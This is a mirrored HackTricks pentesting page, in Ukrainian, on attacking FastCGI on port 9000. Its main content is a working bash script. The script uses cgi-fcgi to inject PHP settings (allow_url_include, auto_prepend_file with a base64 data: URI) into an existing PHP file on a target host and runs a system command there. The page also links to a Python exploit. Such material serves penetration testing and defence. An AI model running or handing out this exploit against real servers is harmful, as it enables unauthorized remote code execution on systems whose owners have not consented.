mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
40 lines
1.4 KiB
Markdown
40 lines
1.4 KiB
Markdown
# 9000 Pentesting FastCGI
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
Якщо ви хочете **дізнатися, що таке FastCGI**, перегляньте наступну сторінку:
|
||
|
||
{{#ref}}
|
||
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
|
||
{{#endref}}
|
||
|
||
За замовчуванням **FastCGI** працює на **порті** **9000** і не розпізнається nmap. **Зазвичай** FastCGI слухає лише на **localhost**.
|
||
|
||
## RCE
|
||
|
||
Досить легко змусити FastCGI виконувати довільний код:
|
||
```bash
|
||
#!/bin/bash
|
||
|
||
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
|
||
FILENAMES="/var/www/public/index.php" # Exisiting file path
|
||
|
||
HOST=$1
|
||
B64=$(echo "$PAYLOAD"|base64)
|
||
|
||
for FN in $FILENAMES; do
|
||
OUTPUT=$(mktemp)
|
||
env -i \
|
||
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
|
||
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
|
||
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
||
|
||
cat $OUTPUT
|
||
done
|
||
```
|
||
або ви також можете використовувати наступний скрипт на python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|